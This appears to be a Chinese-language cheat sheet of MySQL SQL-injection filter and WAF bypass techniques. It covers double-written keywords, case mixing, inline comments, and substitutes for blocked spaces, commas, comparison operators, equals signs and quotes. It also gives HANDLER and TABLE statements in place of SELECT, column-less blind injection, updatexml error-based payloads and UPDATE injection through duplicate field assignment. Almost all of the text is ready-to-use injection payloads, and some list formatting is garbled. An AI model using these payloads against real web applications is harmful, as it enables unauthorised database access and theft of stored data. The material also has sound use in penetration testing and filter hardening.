过滤与拦截

过滤指的是,我们输入的部分内容在拼接SQL语句之前被程序删除掉了,接着将过滤之后的内容拼接到SQL语句并继续与数据库通信。而拦截指的是:若检测到指定的内容存在,则直接返回拦截页面,同时不会进行拼接SQL语句并与数据库通信的操作。
若程序设置的是过滤,则若过滤的字符不为单字符,则可以使用双写绕过。
举个例子:程序过滤掉了union这一关键词,我们可以使用ununionion来绕过。
PS:一般检测方法都是利用的正则,注意观察正则匹配时,是否忽略大小写匹配,若不忽略,直接使用大小写混搭即可绕过。

一些小tips

联合查询处,order by 被拦截

使用group by

无列名注入

在知道表名,不知道列名的情况下,我们可以利用union来给未知列名“重命名”,还可以利用报错函数来注入出列名。现在,除了之前的order by盲注之外,这里再提一种新的方法,直接通过select进行盲注。
核心payload:(select 'admin','admin')>(select * from users limit 1)
子查询之间也可以直接通过>、<、=来进行判断。

select 被过滤

使用handler

  1. HANDLER tbl_name OPEN [ [AS] alias]
  2. HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
  3. [ WHERE where_condition ] [LIMIT ... ]
  4. HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
  5. [ WHERE where_condition ] [LIMIT ... ]
  6. HANDLER tbl_name READ { FIRST | NEXT }
  7. [ WHERE where_condition ] [LIMIT ... ]
  8. HANDLER tbl_name CLOSE
  1. handler users open as secTest; #指定数据表进行载入并将返回句柄重命名
  2. handler secTest read first; #读取指定表/句柄的首行数据
  3. handler secTest read next; #读取指定表/句柄的下一行数据
  4. handler secTest read next; #读取指定表/句柄的下一行数据
  5. ...
  6. handler secTest close; #关闭句柄

LIMIT之后的字段数判断

注入点在where子语句之后,判断字段数可以用order by或group by来进行判断,而limit后可以利用 into @,@ 判断字段数,其中@为mysql临时变量

  1. select * from users where id=1 limit 0,1 into @,@;
  2. select * from users where id=1 limit 0,1 into @,@,@;

image.png

UPDATE注入重复字段赋值

UPDATA table_name set field1=new_value,field1=new_value2 [where],最终field1字段的内容为new_value2,可用这个特性来进行UPDATA注入。如:

  1. UPDATE table_name set field1=new_value,field1=(select user()) [where]

and / or 被过滤/拦截

  1. 双写:ananddoorr
  2. 使用运算符代替:&&||
  3. 直接拼接=(condition):?id=1=(1=1)
  4. 其他方法:?id=1^(condition)
  5. 进制转换
  6. 内联注释
  7. 大小写

    空格 被过滤/拦截

  8. 括号:括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格

    1. select * from users where id = '1'and(updatexml(1,concat(0x23,user(),0x23),1));
  9. 使用注释代替
  10. and/or后面可以跟上偶数个!~可以替代空格,也可以混合使用(规律又不同),and/or前的空格可用省略

image.png

  1. %09, %0a, %0b, %0c, %0d, %a0等部分不可见字符可也代替空格

如:select from user where username=’admin’union(select+title,content/**/from/!article/where/*/id=’1’and!!!!~~1=1)

逗号被过滤/拦截

  1. 使用join语句代替

    1. union select 1,2
    2. 等价于
    3. union select * from (select 1)a join (select 2)b
  2. from关键字代替

    1. select substr(database() from 1 for 1);
    2. select mid(database() from 1 for 1);
  3. like 关键字代替

    1. select ascii(mid(user(),1,1))=80 #等价于
    2. select user() like 'r%'
  4. offset 关键字代替

    1. select * from news limit 0,1
    2. 等价于
    3. select * from news limit 1 offset 0

    比较符(><)被过滤/拦截

  5. 使用greatest()、least()函数代替

greatest()、least():(前者返回最大值,后者返回最小值)
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了,如下例

  1. select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
  1. between … and …

between a and b:返回a,b之间的数据,不包含b

等号(=)被过滤/拦截

  1. like,rlike,regxp
  2. <

    系统关键字(SELECT,WHERE,UNION…)被过滤/拦截

  3. 注释符绕过

  4. 大小写绕过
  5. 内联注释法绕过
  6. 双写
  7. + 拼接字符串

    1. mysql> select "sec" = "s" + "ec" ;
    2. +--------------------+
    3. | "sec" = "s" + "ec" |
    4. +--------------------+
    5. | 1 |
    6. +--------------------+
  8. 新语法,mysql8.0.19 + 出现 table,value关键字

    1. -- 可以直接列出表的全部内容
    2. TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
    3. -- select语句可以使用table语句来代替
    4. select * from user; -- 等同于
    5. table user;
    1. VALUES row_constructor_list[ORDER BY column_designator][LIMIT BY number] row_constructor_list: ROW(value_list)[, ROW(value_list)][, ...]value_list: value[, value][, ...]column_designator: column_index

    引号被过滤/拦截

  9. 进制转换(通常十六进制)

  10. 考虑字符类型,宽字节

    函数被过滤/拦截

  11. 等价替换函数

    注释符被过滤/拦截

  12. 手动闭合

    1. id=1' or '1'='1